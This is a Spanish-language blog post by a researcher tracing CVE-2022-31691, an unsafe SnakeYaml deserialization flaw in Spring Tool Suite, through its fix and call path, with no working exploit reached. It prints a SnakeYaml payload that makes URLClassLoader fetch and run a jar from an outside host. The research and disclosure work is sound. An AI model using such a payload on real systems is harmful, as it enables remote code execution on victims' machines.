
Un análisis de mi investigación (hasta ahora no concluyente) sobre CVE-2022-31691
Un análisis de mi (hasta ahora inconcluyente) investigación sobre CVE-2022-31691.
Soy usuario frecuente de Spring Tool Suite (STS) para Eclipse y suelo confiar en él para inicializar nuevos proyectos Spring Boot. Esta vulnerabilidad (ver https://tanzu.vmware.com/security/cve-2022-31691) es una RCE que puede inducirse mediante la carga no segura de contenido desde un archivo de configuración yaml.
SnakeYaml es un analizador y emisor de yaml muy común para Java. Sin embargo, como en cualquier proceso de marshalling/unmarshalling, siempre existe el riesgo de que contenido no deseado se cargue directamente en memoria. SnakeYaml no es diferente: ver https://code.google.com/archive/p/snakeyaml/wikis/Documentation.wiki#Tutorial.
Loading YAML
Warning: It is not safe to call Yaml.load() with any data received from an untrusted source!
The method Yaml.load() converts a YAML document to a Java object.
Con eso en mente, los mantenedores del proyecto añadieron un método SafeConstructor:
Note if you want to limit objects to standard Java objects like List or Long you need to use SafeConstructor.
Yaml yaml = new Yaml(new SafeConstructor());
La justificación es bastante clara, pero este consejo claramente no se está siguiendo bien. No hay que buscar mucho para ver ejemplos de prácticas de carga no seguras. Incluso Baeldung (una fuente maravillosa de información sobre Spring) no menciona esto en su guía: https://www.baeldung.com/java-snake-yaml#basic-usage.
Para explotar esto, necesito conseguir que este constructor deserialice un objeto sobre el que tenga control. Afortunadamente, otros ya han hecho el trabajo pesado aquí. https://github.com/artsploit/yaml-payload es un proyecto muy sencillo para generar payloads de explotación de SnakeYaml al estilo de https://github.com/mbechler/marshalsec. La idea es:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
]]
]
Esta vulnerabilidad se corrigió en la versión 4.16.1 de STS. Un vistazo rápido a los commits de esta versión ofrece un par de indicaciones útiles sobre lo que se corrigió: https://github.com/spring-projects/sts4/compare/4.16.0.RELEASE...4.16.1.RELEASE
El mensaje en este commit - "Use SafeConstructor in Snakeyaml YAML constructors" es una buena pista de lo que se ha corregido.
Efectivamente, esto es donde se sustituye el SafeConstructor.
YamlASTProvider parser = new YamlASTProvider(new Yaml(new SafeConstructor()));
Si me interesa explotar esto, necesito introducir contenido malicioso en este constructor de SnakeYaml, así que tengo que localizar desde dónde se llama.
La creación del objeto SnakeYaml recibe un objeto InputStream que se crea mediante un método getInputStream().
getInputStream() llama a getManifestFile() para determinar qué archivo de manifiesto cargar.
getManifestFile() devuelve o bien la ubicación de un archivo de manifiesto (si se especifica en el constructor), o null.
La clase ApplicationManifestHandler se inicializa en la clase CloudFoundryBootDashModel aquí y recibe un valor que se deriva de un valor establecido en el constructor para el método resolveDeploymentProperties aquí.
Estoy bastante seguro de que necesito tener alguna configuración de CloudFoundry para conseguir que intente cargar/invocar mi archivo manifest.yml malicioso.
Resulta que CloudFoundry es una tecnología en declive, gracias (supongo) a Kubernetes y similares. No puedo encontrar ningún tipo de plataforma pública a la que conectarme vía CF, así que en realidad no puedo probar las cosas desde aquí.
Buscar la forma de levantar una instancia de desarrollo local de CloudFoundry, aunque solo sea para probar mi comprensión de la vulnerabilidad y el exploit.